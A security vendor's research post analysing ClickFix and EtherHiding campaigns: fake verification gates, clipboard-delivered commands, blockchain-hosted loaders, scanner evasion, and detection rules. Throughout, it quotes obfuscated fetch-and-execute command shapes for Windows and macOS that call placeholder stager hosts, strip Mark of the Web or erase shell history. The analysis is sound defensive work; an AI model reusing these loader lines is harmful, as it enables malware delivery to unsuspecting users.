Urlyze
All posts

ClickFix at scale: 1,122 pages, 1,020 captured commands

22 min read

01 · The gate

Verify you are human

One click. The page has already written to the clipboard.

02 · What it asks for

⊞+R
Ctrl+V
Enter

03 · Where it lands

Run
> powershell -w hidden -c "iex ⋯ redacted ⋯"
Case 002 · clipboard-delivered executionNothing downloaded · nothing typed · the victim runs it

The first post on this blog explained the trick: a fake “verify you are human” gate puts a command on your clipboard and asks you to run it yourself. Since then we have been tagging every page our engine convicts for it, and the pile is now big enough to say things about. This is a read through all of it: every ClickFix and EtherHiding page since we started labelling in August, around nine hundred compromised sites, and roughly a thousand commands the kits wanted pasted into a Run dialog or a Terminal.

1,122
ClickFix pages
817
EtherHiding pages
919
distinct hosts
1,020
commands captured

Our corpus, 4 August to 13 October 2026: every stored scan our engine tagged as ClickFix or EtherHiding. 713 pages carry both tags. 979 of the captured commands were hidden from the visitor.

The shape of the corpus

ClickFix is the largest family we convict, and it is not close. Credential phishing, remote-access-tool droppers and device-code lures are all in the same period, but added together they are a small fraction of the pages that want a shell command pasted. Most of the ClickFix pages were EtherHiding pages too: the verification screen the visitor saw had been fetched from a smart contract on a public blockchain a second earlier. More on that below.

The month-by-month count shows how quickly this grew. Counting convictions across both tags, August, the first month we tagged, holds a little under three hundred. September holds six hundred. The first thirteen days of October hold three hundred and forty, so October is running at September’s pace. The thirty-day public feed, the slice anyone can see without an account, looks like this:

Families on the public feed, 13 September to 13 October 2026scans · 30 days
  1. ClickFix726
  2. EtherHiding545
  3. Executable delivery57
  4. RMM abuse33
  5. Brand clone28
  6. Automatic download22
  7. Device-code phishing9
  8. Credential exfiltration7
  9. Adversary-in-the-middle6

The daily counts come in bursts rather than a steady line. Three days in that window each delivered more than sixty convictions, and on those days nearly every ClickFix page was also an EtherHiding page. That is what a campaign on compromised WordPress hosts looks like from where we sit: one loader lands on a few hundred sites at once, all of them start reading the same contract, and the feed lights up for a day or two until the hosting providers catch up.

The victim hosts are ordinary. The top-level domains are what you would expect from a sweep of small businesses with an unpatched theme, mostly .com, then Brazil, Switzerland, Australia, the UK, Germany, Italy, Argentina, France, Canada, India and Spain. Law firms, clinics, a chilli farm, a parking operator, a UK retailer, a Kuwaiti shopping mall, a Vim colour-scheme gallery. None of them chose to host this.

Two more things about the pile that matter for everything below. All but 41 of the 1,020 captured commands were hidden, meaning they appeared nowhere in the page’s visible text. And the clipboard write is more old-fashioned than we expected: the legacy select-and-copy call, execCommand, outnumbers the modern asynchronous clipboard API in the corpus, and a fair number of kits fire both. That makes sense once you look at the permission model. The asynchronous API wants a secure context and a user activation and can trip a permission prompt; execCommand("copy") works over plain HTTP and from inside an iframe with less friction, and some of these compromised sites are still served over HTTP or with mixed content. Firing both is the rational choice for a kit author who does not know where the kit will land.

Four stages, every time

A thousand pages is a lot of variety on the surface and very little underneath. Every one of them does the same four things in the same order, because the technique does not work otherwise.

  • The costume and the gate. A verification widget the visitor is asked to satisfy. Usually a Cloudflare or reCAPTCHA imitation, sometimes a vendor’s “update required” screen, occasionally a real third-party bot wall in front of the kit.
  • The instruction surface. A recipe the visitor cannot read before the click: get to a shell, paste, run. It is hidden in the DOM, or built at runtime, or drawn as pictures of keys so that there is no text to match.
  • The clipboard write. The chokepoint. On a gesture the page puts the command on the clipboard, by the modern clipboard API or by the old select-and-copy trick. Whatever else the kit rotates, this has to happen.
  • The payload. What lands on the clipboard. A one-line fetch-and-execute for a Windows interpreter, or a one-line fetch-and-execute for a Unix shell. This is where the two halves of the corpus part ways.

Everything else, the hostnames, the script names, the random paths, the contract addresses, the colour of the fake Cloudflare header, is free for the attacker to change, and does change; in one case between two samples twenty minutes apart. The four stages stay where they are, which is why most of our detection work ends up aimed at them.

The wardrobe

The costumes are the part people see, so here is a set from the corpus. All of them are captures of the attacker’s own pages as served. We have boxed out the compromised site’s name in each one; the vendor branding is the kit’s imitation, not something we drew.

A fake Cloudflare 'Verifying you are human' dialog listing three verification steps: press Win+R, press Ctrl+V to paste the verification code, press Enter to confirm. A fake 'Cloudflare ID' is quoted underneath.
The classic. Win + R, Ctrl + V, Enter, framed as a verification code, with a “Cloudflare ID” to make the paste look like a token.
A fake security verification box with four numbered steps: press Windows key + X to open the Power User menu, press I to open Windows PowerShell or Terminal, press Ctrl+V, press Enter.
The newer keystroke. Win + X then I opens a terminal rather than the Run dialog, which sidesteps the advice that only ever mentioned Win + R.
A fake Cloudflare 'Verification required' dialog: 'Verification code copied, awaiting terminal input', then press Win+X, choose Terminal or press I (with a drawn dropdown showing Terminal and Windows PowerShell), press Ctrl+V, press Enter. A countdown reads 01:47 next to 'Do not close this window'.
The same recipe with a drawn Power User menu, a progress bar and a two-minute countdown. “Verification code copied” is true: the command is already on the clipboard.
A fake Cloudflare 'Human Verification' dialog with a drawn keyboard. The caption reads 'Press and hold Windows key, then press X'.
No words for “Run” or “PowerShell” at all. The keys are drawn and animated, so a text rule has nothing to read.
A fake Cloudflare 'One-Time Device Verification' dialog promising 90 days without captchas, with three tiles: Hardware Fingerprint, 90-Day Access Token, Privacy by Design, and a 'Continue to Verification' button.
A two-step costume. This screen sells a “90-day access token”; the keystrokes only appear after Continue is pressed, so a scanner that stops at the first screen never sees them.
A fake reCAPTCHA image grid asking to select all images with cars, overlaid on a Cloudflare-styled page.
Two vendors in one frame: a reCAPTCHA image grid over a Cloudflare-styled page. The grid is decoration; the instructions come after it.
A fake Cloudflare security verification page whose heading claims gemini.google.com, with steps: press and hold the Windows key + R, press Ctrl+V, press Enter, and a 'Gateway Verification - Challenge Response ID' with a Copy button.
The heading claims a Google hostname. The page was not on Google’s domain; the kit simply prints whatever it likes above the gate.
A dark 'To verify your request, follow the instructions below' dialog containing a drawn keyboard with the Windows key and X highlighted.
Another drawn keyboard, Windows key and X lit. The kit highlights each key in turn.
A blue card imitating a Microsoft account prompt: 'Verify it's you. Confirm this sign-in to continue to the page you requested', with a single Continue button and a footer reading 'Microsoft account security · SmartScreen'.
The October costume. A Microsoft account card with one button, painted over a compromised site. Our scanner’s landing frame; the imitation is the kit’s.
The same Microsoft-styled card after Continue: 'Verification code copied, awaiting terminal input', then press Win+X, choose Windows PowerShell or press I (a drawn menu shows Windows PowerShell and Windows PowerShell (Admin)), press Ctrl+V, press Enter, with a 1:51 countdown and 'Do not close this window'.
What Continue reveals, captured on the throwaway copy after our probe pressed it. Same keystrokes, same countdown, different vendor on the header.

The keystroke has moved. A year ago Win + R was the whole family. Now Win + X followed by I, which opens Windows Terminal or PowerShell from the Power User menu, is at least as common, and the kits that use it draw the menu for you, “Windows PowerShell (Admin)” included. The most widespread template in the corpus goes a step further and explains the hardware: “This is the Windows key, located at the bottom of your keyboard between Ctrl and Alt, under the Z key.” Somebody wrote that line because victims were asking. The pretext around the paste has moved as well. “Verification code copied, awaiting terminal input” next to a countdown tells the victim three things at once: the thing on the clipboard is a code, it is already there, and they should hurry.

The wording on the gate itself hardly varies, which makes it easy to count. Of the gates our probe pressed, “I’m not a robot” and “Verify you are human” cover nearly all of them; a Russian “Я не робот” and a German “Ich bin kein Roboter” show up a couple of times each. Cloudflare and reCAPTCHA are the two costumes almost everywhere. Two more turned up in early October on the same run of eleven compromised sites in one evening: a Microsoft “Verify it’s you” account card, the last two captures above, with the same keystrokes behind its Continue button, and under it, in the page text, a “DDoS-Guard verification” screen we had not seen imitated before. On every capture we hold the Microsoft card was the one on top. The costume is the cheapest part of the kit to swap, so we expect more of these.

The Windows half

Of the thousand commands in the corpus, roughly six in seven target Windows, and most of those are one shape: fetch something from a stager and hand it to an interpreter.

Captured command kinds, whole corpus, 4 August to 13 October 2026commands
  1. download-execute665
  2. unix-shell-pipe129
  3. shell-invocation68
  4. mshta36
  5. remote-installer29
  6. powershell-encoded17
  7. unix-download-execute15
  8. hidden-console11
  9. webdav-remote-dll7
  10. scriptblock loader7

The ten kinds above add up to 984. The other 36 are captures the classifier could not name, mostly the script-block loaders described further down. Some measurements across the whole thousand before we get to the shapes. The median command is 111 characters. The shortest is 23 and the longest is 8,699, on a single line. Forty-one are multi-line scripts. Seven in ten carry no plain URL at all; the address is split, reversed, encoded or fetched from somewhere else. Where a plain address does appear, about one in ten is a bare IP. The four features you meet most often are a hidden window, decoy text, the execution-policy bypass and an environment variable for the temp directory. Carets, string reversal, case mangling and wildcard interpreter lookups each appear on around ten commands, so one or two kits each.

The kinds above are a classifier’s view and they flatten a lot of ingenuity. What the authors actually do is work on the one line until it survives being read by a filter and still runs when pasted. Here are the shapes we found most instructive, with every host replaced by a placeholder.

Among the shortest in the corpusshape only · hosts replaced
mshta http://stager.example/big

MITRE ATT&CK · T1218.005 mshta · T1218.007 msiexec

Thirty-two characters, seen on three unrelated compromised sites in one day. The HTML application host fetches the page and runs whatever script is in it. There is nothing to obfuscate because there is nothing to read. Its cousin is the sixty-five-character msiexec /i http://stager.example/MicrosoftVerify.msi /passive, where the only trick is the filename.

The interpreter is the file systemshape only · hosts replaced
conhost --headless -- cmd /v:on /c "set s=@SSL&pu^shd \\stager.example!s!\7426a272-e316-4d15-9017-8482f1280de5 & r^undl^l32 czhbryjkqwymcpmlrosj,#1"

MITRE ATT&CK · T1218.011 rundll32 · T1105

Detect · rundll32.exe loading a module from a \\host@SSL\ UNC path; the WebClient service starting under a user session that just ran cmd.exe from conhost --headless.

There is no download command anywhere in this one. It changes directory to a UNC path, which makes Windows mount a remote WebDAV share over HTTPS, then asks rundll32 to load a DLL from that share by ordinal. The operating system does the fetching. The console is headless so nothing flashes, and three carets break the two words a filter would look for, pushd and rundll32. We saw this family on a Spanish pharmacy, the Vim colour-scheme gallery and a piano site within nine days of each other, with a different share host every time.

The address lives in a Telegram channelshape only · hosts replaced
powershell -nop -c "$w=[Net.WebClient]::new();$null=$w.DownloadString('http://t.me/+<invite>')-match'ion[^>]*>(\S+)\s';$p=$env:PUBLIC+'\x';$w.DownloadFile('http://'+$matches[1]+'/sp.dat?z=1',$p);gc $p|powershell -nop -c -"

MITRE ATT&CK · T1102.001 dead drop resolver

Detect · powershell.exe making its first outbound request to t.me, followed within seconds by a second host; a child powershell reading a script from standard input (-c -).

This is a dead-drop resolver. The command fetches the public preview of a Telegram channel, pulls the channel’s description out of it with a regular expression, and uses that text as the hostname of the second stage. To move the stager, the attacker edits a channel description. Nothing in the command changes, and the only address a filter can see belongs to Telegram. The second stage is then piped into a fresh PowerShell over standard input, so it never sits on disk as a script. Telegram ended up as the seventh most common host inside captured commands in the corpus, ahead of most of the actual stagers.

Mark of the Web, two waysshape only · hosts replaced
powershell -NoP -w h -ep bypass -c "$b=New-Object UriBuilder('https','stager.example',443,'/mfc.dat');$f=$env:TEMP+'\u.ps1';&('Invo'+'ke-Web'+'Request')($b.Uri) -OutF $f -UseB;$env:SEE_MASK_NOZONECHECKS=1;. $f"

MITRE ATT&CK · T1553.005 MOTW bypass · T1059.001

The URL is assembled by a class constructor, so it is never present as a string. The cmdlet name is glued together from three pieces. And then SEE_MASK_NOZONECHECKS, which is read by ShellExecuteExwhen a file is launched and tells it not to look at the file’s zone. It does not touch the Zone.Identifier stream, and in this line nothing is launched: the script is dot-sourced into the running shell, where the execution policy bypass has already done the work. So the variable is either copied in without understanding or set for a child process the downloaded script will start later. The other Mark-of-the-Web move, deleting the stream itself, is in the next shape, and the two act at different points.

Hidden window, split hostname, Mark-of-the-Web stripped, silent install, decoy commentshape only · hosts replaced
powershell -NoP -w h -c "$h='stag'+'er.example'; $f=$env:TEMP+'stale.msi'; curl.exe -sLo $f ('https://'+$h+'/api/stale.msi'); ri($f+':Zone.Identifier') -EA 0; msiexec /i $f /qn #"   "Cloudflare Verification RayID 7a2c…"

MITRE ATT&CK · T1553.005 · T1218.007 · T1564.003

Detect · msiexec /i against a package in %TEMP% with /qn, parented by a hidden-window powershell that was itself started by explorer.exe (the Run dialog) or WindowsTerminal.exe.

A lot happens in this line. The window is hidden. The hostname is glued together from two string literals so it never appears whole. The downloaded installer has its Zone.Identifier stream removed, so that SmartScreen will not ask. As far as we know curl.exe does not write that stream in the first place, which would make the deletion redundant; it reads like a line copied from a kit that downloaded with a browser-backed API, kept because it costs nothing. The package installs quietly. The trailing #turns the rest of the line into a comment, so if the victim does look at the Run dialog, what they see ends in a reassuring “Cloudflare Verification RayID”.

Caret escaping, wildcard interpreter lookup, reversed addressshape only · hosts replaced
%comspec% /c ^S^t^A^r^T ^"^" ^/m^i^n %comspec% /c "FOR /f delims^= %a in ('WhErE /r %windir%^\^S^y^s^t^e^m^3^2 P*o*W*e*R*s*H*e*L*l') do %a I^r^M((15..0^|^%{'x/elpmaxe.regats'[^$_]})^ -join^ '')^|i^e^x&exit"

MITRE ATT&CK · T1027.010 command obfuscation

Detect · cmd.exe command lines with a high caret density, or a `where /r %windir%` lookup for an interpreter; both are rare outside this family.

Two hundred bytes, and naive string matching fails on them four different ways. The carets break every keyword and are stripped by the command processor before execution. The interpreter is found by a wildcard search of the system directory instead of being named, so “powershell” is never typed. The download address is stored backwards and reassembled by indexing the string from the end. And the whole thing starts minimised. We saw this exact template on two compromised online stores twenty minutes apart; every hostname had been rotated between them and the commands differed in four characters, the reversed path token.

Staged on a public CDN, with junk quotes PowerShell ignoresshape only · hosts replaced
IRM c"d"n.jsdelivr.net/g"h"/<account>/<repo>/<blob> | IEX

MITRE ATT&CK · T1102 web service · T1027.010

The stage here lives on a legitimate CDN that proxies public code repositories, so the fetch goes to a host nobody is going to block. The stray double quotes inside the hostname are the kit’s own noise. PowerShell concatenates adjacent string pieces, so the pasted line runs fine, while a signature looking for the CDN’s name does not match it. On last month’s public feed that CDN was the fourth busiest stager by sightings.

The encoded form, and what it hidesshape only · hosts replaced
powershell -NoP -NonI -EP Bypass -e <base64> /W 1
# decodes to:
$p123=iwr "https://stager.example/auth?xc=2912159" -Method POST -UseBasicParsing;$tem=[scriptblock]::Create($p123.Content);$tem.InvokeReturnAsIs()

MITRE ATT&CK · T1027.010 · T1059.001

Encoded commands are under two percent of the corpus, which surprised us. Our guess is that the authors have concluded -enc is itself a signature, and that a readable line with a split hostname attracts less attention than an opaque blob. The ones that do encode repay decoding. This one fetches its second stage with a POST, so anyone who follows the URL with an ordinary GET gets nothing back.

The payload performs the costumeshape only · hosts replaced
Write-Host 'Cloudflare' -F Cyan -NoNewline; Write-Host ' security verification' -F Gray; Write-Host ("Session: 9f4cd03241197f41") -F DarkGray; Write-Host '[1/3] Checking browser integrity...' -F Yellow; $w=New-Object Net.WebClient; $w.Headers.Add('User-Agent','Mozilla/5.0 …'); $u='http://stager.example/get_verify?i=558'; …

MITRE ATT&CK · T1059.001 · T1036 masquerading

Nearly a kilobyte, and the first third of it is theatre. Once pasted into the terminal the script prints a coloured “Cloudflare security verification” banner with a session id and a three-step progress log, so a victim watching the console sees the verification they were promised while the download runs underneath. A cheaper version of the same idea is the PowerShell block comment <# Verification code: 312E522975D9 #> that another kit puts in front of its decoder, and the # comment at the end of the MSI shape above. Three kits, same observation: the victim is going to look at the terminal, so give them something to read.

No interpreter named at allshape only · hosts replaced
$k='…';$d='<long hex>';$r=-join((0..($d.Length/2-1))|%{[char]([convert]::ToInt32($d.Substring($_*2,2),16) -bxor $k[$_ % $k.Length])});&([ScriptBlock]::Create($r))

MITRE ATT&CK · T1140 deobfuscate · T1027.013

Detect · PowerShell script block logging (event 4104) shows the decoded block even when the command line shows only a decoder; look for [ScriptBlock]::Create with -bxor or FromBase64String in the same block.

This one gets pasted into a terminal the victim has already opened, so the command never has to say “powershell”. It is a decoder: a hex string XORed with a key, turned into a script block and invoked. Decoded, it downloads a password-protected archive into the temp directory and extracts it with a known password, which keeps the payload opaque to anything that scans the archive on the way down. A related kit used Invoke-Command -ScriptBlock around a base64 blob and Caesar-rotated the URL inside it. Neither line contains a fetch idiom, an interpreter name or a plain URL, so a detection built from a word list has nothing to match. The longest commands in the corpus, between six and nine thousand characters on one line, all belong to this family: a base64 blob that decodes to a script that decodes a second blob.

A few other things on the Windows side are not commands but affect what gets captured. Multi-line scripts, for one: a kit we saw in October copies a twenty-eight-line PowerShell script when the checkbox is ticked, and the only line a victim would see after pasting is the last. Then the Windows key as a trigger. On 242 pages in the corpus the command was not written until our probe sent the Windows key, because the kit listens for it and only then puts the payload on the clipboard; a scanner that ticks the checkbox and reads the clipboard gets nothing from those. And broken builds. We captured pages whose “command” was an unsubstituted template placeholder, one whose clipboard received an empty string six times in a row, five sites whose Ray ID read literally __RAY_ID__, and one whose placeholder, had it been clicked, would have copied three hundred kilobytes of the page’s own HTML. The kits are built fast and shipped broken more often than you would think. A broken kit is still a compromised site.

The macOS half

One captured command in seven was for a Unix shell, almost always macOS. These are shorter, less obfuscated and much better gated, which says something about who the authors expect on the other end. They are also the part of the corpus we would mostly not have without a second render. Our scanner opens every page a second time as a macOS browser, and 108 of the 149 Unix commands came out of that second visit, from pages that had shown the Windows persona nothing at all.

A blue 'Complete these Verification Steps' dialog over a blurred parking website: press Command + Space to open Spotlight Search, type Terminal and press Return, paste the command with Command + V and press Return. A ticked checkbox reads 'I am not a robot - reCAPTCHA Verification ID: 809255'.
The macOS recipe. Spotlight, Terminal, ⌘ + V, Return. The reCAPTCHA “Verification ID” is the decoy text that follows the command on the clipboard as a comment.
A white 'Additional verification required' dialog: 'Do not close this window' with a 1:57 countdown, 'Verification code copied, awaiting terminal input', then press Command + Space and open Terminal, press Command + V to paste, press Enter.
The same countdown costume as the Windows kits, in its macOS edition. The page already wrote to the clipboard before this screen appeared.
The common shape, decodedshape only · hosts replaced
echo 'I am not a robot - reCAPTCHA Verification ID: 797510' && echo '<base64>' | base64 -d | bash
# the base64 decodes to:
export SRC_URL='https://victim.example/' && (cd /tmp && curl -kfsSL "http://203.0.113.172/9908ac6247?force=1" -o .dsYjKC && bash .dsYjKC && rm -f .dsYjKC) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null

MITRE ATT&CK · T1059.004 unix shell · T1070.003 clear history

Detect · the pasted line stays in ~/.zsh_history; curl writing a dotfile under /tmp from a Terminal that Spotlight just launched; bash spawned by Terminal with -c and no tty.

Six hundred characters, and all of them are doing something. The first echoprints the decoy, so the Terminal shows “I am not a robot, reCAPTCHA Verification ID” just as the page promised. The payload exports the compromised site’s address as an environment variable, which is how the campaign tells its stager which victim site produced the conversion. The download runs in the background, silenced, from a bare IP. Then the line clears the screen, flushes the scrollback with an escape sequence, and tries to delete itself from the shell history. The screen part works. The history part does not: the decoded script runs in a non-interactive bashthat keeps no history, while the line the victim actually pasted sits in the interactive shell’s own history, untouched. A victim who looks back sees an empty Terminal, and an investigator who opens the zsh history file finds the whole command. This template, with the verification id and the temp filename rotated, is the most common macOS shape in the corpus. A variant of it that serves both platforms from one page uses base64 -D with an uppercase flag, which is the BSD tool that ships with macOS; the GNU one wants lowercase. Whoever wrote it was not thinking about Linux.

Say the App Store, fetch something elseshape only · hosts replaced
echo "apps.apple.com/app/downloads/macos-app.dmg" && curl -s $(echo "<base64 url>" | openssl base64 -d -A) | zsh

MITRE ATT&CK · T1059.004 · T1036

The first thing this prints is an Apple App Store address, which is what the victim reads. What it fetches is a base64 address decoded by openssl and piped into zsh, the default shell on a modern Mac, so the author knows the platform well enough not to depend on bash. The clone of an AI vendor’s desktop download page used the same line with the real App Store link to that vendor’s app as the decoy. In another kit from the same fortnight the decoded stage is curl -s -k … -o .rc && chmod +x .rc && ./.rc && rm .rc: a hidden dotfile, made executable, run, deleted.

Served by a panel, by platformshape only · hosts replaced
/bin/bash -c "$(curl -fsSL http://203.0.113.7/<path>)"

MITRE ATT&CK · T1059.004

This one came out of a kit that fetched its commands from an admin endpoint at page load and received a small JSON object with two keys, windows and macos. The macOS value was an eighty-character base64 blob wrapping the line above. The same panel-driven kit put a small arithmetic question in front of the button, two single digits drawn as SVG text, checked entirely on the client. A gate like that exists to stop automation, not people.

Shown to the visitor, with the address concealedshape only · hosts replaced
curl -sf -H "tag: v1" $(echo "<base64 url>" | base64 -d) | osascript -l JavaScript ; open https://www.apple.com/

MITRE ATT&CK · T1059.007 JavaScript (JXA) · T1027

This is a TerminalFix rather than a ClickFix: an Apple support clone offering to “reclaim disk space and scan your Mac”, with a Copy button and the command printed in full on the page. Printed, but not really readable, because the only part that matters, the address, is base64 inside a subshell. The payload is a hundred kilobytes of obfuscated JavaScript for Automation run through osascript, and the line ends by opening Apple’s real website so the victim sees something they expected. We had to add a separate rule for this second kind of concealment, hiding the address rather than the command, because a documentation page shows you both.

The macOS kits are also where the most careful gating lives, presumably because the audience is smaller and worth more. These are the gates we have measured, each on its own live sample:

  • A gate that compares navigator.userAgentbyte for byte against the request’s User-Agent header, counts the own properties on navigator and screen, and then checks that the browser’s clock offset is between one and four hours ahead of UTC, roughly Europe. A visitor from anywhere else is served a complete, plausible logistics company website at the same URL with HTTP 200, so nothing looks refused. Our scan workers ran on UTC, and this family cost us sixteen lures before we noticed.
  • A gate that enumerates the window, navigator and document objects, stringifies every native function with Function.prototype.toString, reads the WebGL renderer, and posts the whole report back to the page’s own URL as a document navigation. The server decides on that POST. Patched natives announce themselves because a patched function does not say [native code].
  • A gate that flips a coin. One fake-reCAPTCHA family loads one of two builds of itself at random on every fresh visit, so a page that shows the gate on one visit may not on the next, and a single capture only ever carries one branch.
  • A one-line gate that reads navigator.userAgent and serves the kit only when it says Macintosh, which is enough to defeat every scanner with a fixed Windows persona. This one was on thirteen compromised sites at once.

One costume is new this year and worth watching: download pages for AI desktop tools. We have a clone of one vendor’s macOS app page and a clone of another vendor’s coding agent, both macOS-gated, both with the command sitting in a plain-text script tag that only a click moves into view. The brand follows whatever people are searching for that month.

Windows and macOS, side by side

One thing the table does not say, because we cannot: what the stager hands back. We capture the command and we fetch what it points at when that is safe, but we do not run the second stage, so the final family is usually not ours to name. What we hold on the Windows side is loaders; on the macOS side, vendors who did detonate the stages of one of these campaigns have reported commodity macOS stealers, and nothing we saw contradicts that.

WindowsmacOS
Keystrokes sold to the victimWin + R, or Win + X then I, then Ctrl + V, Enter⌘ + Space, type Terminal, ⌘ + V, Return
Where the paste landsRun dialog, Windows Terminal, PowerShellTerminal
Dominant command shapefetch and hand to an interpreter: PowerShell, mshta, msiexec, cmdcurl … | bash, echo … | base64 -D | bash, osascript
Typical obfuscationcarets, split hostnames, reversed strings, wildcard interpreter lookup, XOR decoders, decoy commentsa single base64 blob; the address hidden in a subshell
Typical gatinggeo lookup and operating-system check from a kit API, cookie frequency caps, bot self-scoringUser-Agent, clock offset, browser own-property counts, full environment report posted back, decoy site at HTTP 200
What we hold in handthe stager's answer: .NET loaders reflected from base64, MSI packages, password-protected archives with a renamed executable insidea shell script, or JavaScript for Automation, that installs the next thing
Linuxnot seen; we run no Linux personanot seen; no captured command targets it, and the base64 -D flag above would fail on GNU coreutils.
How the scanner has to lookpress the gate on a throwaway copy, read the clipboard, read the bytes for encoded commandsall of that, as a macOS persona, from an address the kit will serve, with a believable clock

EtherHiding, which is how the gate arrives

Most of the ClickFix pages in the corpus, 713 of the 1,122, did not carry their gate at all. They carried a loader, a few hundred bytes appended to a theme file or wrapped as a fake plugin, and the loader asked a public blockchain node for the rest. The read is an eth_call against a smart contract, typically its get() function. The contract returns the next stage as a string. No attacker server is contacted for the delivery, the node is a public RPC endpoint that thousands of legitimate applications use, and the string in the contract can be changed by its owner for the cost of a transaction while every compromised site picks up the new version on its next visitor.

The chain split across the corpus is nearly even: 392 contract reads went to Polygon and 363 to the BNB Smart Chain testnet, with Base and Ethereum mainnet in single digits. The testnet is not a mistake. Testnet gas is free, so updating the contract costs the attacker nothing. The provider pool is wide, too. One page contacted sixteen distinct RPC endpoints, across more than eight public providers, and four pages in ten used four or more. A loader that tries six providers and takes the first answer is not stopped by any one of them being blocked, and it shows: the busiest contract in the corpus was read by 205 separate scans without its address ever changing.

The most elaborate loader we took apart used three contracts in sequence. It is worth walking through, because it shows how much of the operation has moved onto the chain:

  • Contract A is an environment gate in plain text. If the browser looks headless or is on localhost, log and stop. If it is Windows, load the Windows stage. If it is a Mac, load the Mac stage, from a separate contract.
  • Contract B is the Windows stage, gzip-compressed and inflated in the browser with the DecompressionStream API. The entire verification overlay, its markup, its stylesheet and its clipboard copier, is embedded in it as base64. The gate never crosses the network as a page, which is why a network log of such a visit shows no overlay host at all.
  • Contract C is a per-visitor ledger. The loader asks it, every few seconds, whether this visitor has “reached the goal”, keyed by a cookie or, failing that, by the visitor’s public IP, which it obtains with a synchronous request to a third-party IP-info service. A “no” means show the gate. A “yes” means this one already ran the payload, leave them alone. The attacker is tracking conversions on-chain.

The same family builds its contract address at runtime out of letters picked from the names of built-in browser classes. A browser whose built-ins have been renamed or wrapped by an analysis tool assembles the wrong address, the node returns an error, and the kit goes quiet. When it decides it is being watched it prints “stop watching us :)” to the console. We know this because our own scanner assembled the wrong address for about a week, and it took three deploys to find out why.

What the kits do to scanners

Most of the engineering time we spent on this family went into getting shown the attack, not into recognising it. The corpus records what each page did to our first render: sixty pages served a cloaked overlay to one exit and not another, thirty refused the document outright, and a handful starved the kit’s own script, bounced us to a search engine or put a real captcha in front. Of the gates we did find and press, fifty-six took the click and copied nothing, which usually means the kit was waiting for something else. Here is the list of refusals, each one measured on a live sample rather than inferred:

  • Served by User-Agent. One site behind a genuine Cloudflare edge served the real challenge to a headless User-Agent and its own Cloudflare imitation to a real one. We changed everything else about the browser and nothing else made a difference.
  • Served by geography and operating system, decided by a kit API that answers with a country, a device class, an operating system, a campaign id and a frequency cap in hours. The lure then arrives as a full-viewport cross-origin iframe at the highest z-index the browser allows.
  • Served once. A cookie marks the visitor as done, and every later request gets a clean page. A scanner’s second look is already too late.
  • Served by address reputation. The same kit, the same minute, the same browser: refused from one cloud exit, served from another. Two sites bounced our cloud exit to a search engine with a 301 and served the lure from elsewhere, and the bounce opened and closed within twelve minutes. A 301 to a search engine is a time window, not a dead site.
  • Bot self-scoring. A page that scores navigator.webdriver, plugins and a User-Agent regex, and whose first branch sends a definite bot to a search engine while the human branch is the page itself.
  • Hidden in the document tree. Recipes inside an iframe built from a srcdoc attribute inside a closed shadow root, where no text read from the outside can reach. Recipes revealed only by a click on a Chinese “choose your route” menu. Recipes assembled at runtime from script and never present in served HTML.
  • Pressing the wrong thing. A checkbox that only animates while the real write hangs off a fourth-screen Continue button. A second Copy button behind the gate. A kit injected four times into one page with the handler on only one copy. A gate that is a sibling of its label rather than a child, so a locator that walks up from the text finds nothing.
  • Costume details that pass a glance. A Cyrillic С in “Сloudflare” in the title. A Ray ID that differs between two renders of the same page. Cloudflare logos served by the compromised host itself. A page that declares a Cloudflare interstitial nobody served, prints the vendor’s automatic wording, and contacts exactly one host: itself.

How Urlyze reads it

The first post covered the principle: neither the clipboard write nor the instruction to paste is the signal, concealment is. Ten weeks of this corpus is what it took to make that principle hold against the list above. In short, what the engine does today:

  • It presses the gate, on a throwaway copy of the page, never on the analysed document. The locator crosses frames and shadow roots, reveals hidden modals, presses a Continue control or a lone Copy control when that is what the kit offers, and sends the Windows key when the kit waits for one. If the copy is served a real challenge instead, it retries in a fresh session.
  • It records the clipboard write, including blob payloads, and classifies what landed there. A command that appears nowhere in the page’s visible text is the first kind of concealment. A command that is shown but whose address is encoded is the second.
  • It reads the bytes it already downloaded, from every frame and every origin, for a base64-encoded operating-system command. This is what convicts a page whose lure is cross-origin, or whose kit sits behind a 403, or whose Windows key is an SVG with no text. The discriminator is the encoding, because legitimate installation pages carry shell commands in their bytes all the time and none of them encode it.
  • It renders a second time as a macOS persona, unconditionally, from a browser whose clock, built-ins and navigator look like a person’s. And when the first exit is refused, it tries another.
  • It watches for a page that talks to a public blockchain node while presenting itself as having nothing to do with crypto, captures the call bodies, and names the contract.
An Urlyze scan report header. The verdict ring reads Malicious, automated, 1 of 7 engines. The reason line says the page copied a hidden download-execute command to the visitor's clipboard (ClickFix). Engine tags read ClickFix and EtherHiding. Below, a four-step 'What happened' strip: visitor opens the site, page shown, clipboard seeded with a command the visitor never sees, the visitor runs the payload themselves.
A public report from the window, four minutes after the scan. The target domain, IP and ASN are placeholders. Note the engine column on the right: Browser Analysis convicted it, Threat Intelligence still said Clean. The hidden command was captured and sits under the findings behind a warning, and the stager it reaches is named in the summary line.
The findings panel of the same report. A strong ClickFix finding reads 'a HIDDEN command was copied to the clipboard', classified download-execute, with an explanation that the probe obtained it by pressing the fake verification widget on a throwaway copy of the page. A red 'Live attacker command, do not run this' box holds a 'Show the command' control marked read-only evidence. On the right, the page capture shows the fake Cloudflare gate.
The finding card. The command is kept behind a hazard warning and a Show control, and the capture on the right is the kit’s Cloudflare imitation on the compromised site, name replaced.

All of this is visible on any public report. The live indicator list for the family, stager hosts and contracts included, is on the community threat feed. We have not copied hostnames into this page because they will be stale by the time you read it, and the feed will not.

What a defender can take from this

  • Add Win + X and ⌘ + Space to the rule you already have for Win + R. No website has a reason to tell you to open a terminal to prove you are a person, and we have yet to see the phrase “verification code copied” on a page that was not one of these. If you filter page text, the expression below has no false positive in our corpus. One caution: a bare “press Win + R” clause will fire on vendor documentation and help-desk articles, which say exactly that, so the keystroke branches are tied to the verification wording within a few hundred characters, and only the “verification code copied” phrase stands on its own.
Page-text rule, case-insensitivedefensive rule · adapt to your tooling
verification code copied
|(robot|human|verif)[\s\S]{0,300}(press (win(dows)?( key)?|⊞)\s*\+\s*[rx]\b|(⌘|cmd|command)\s*\+\s*space[^.]{0,40}terminal)

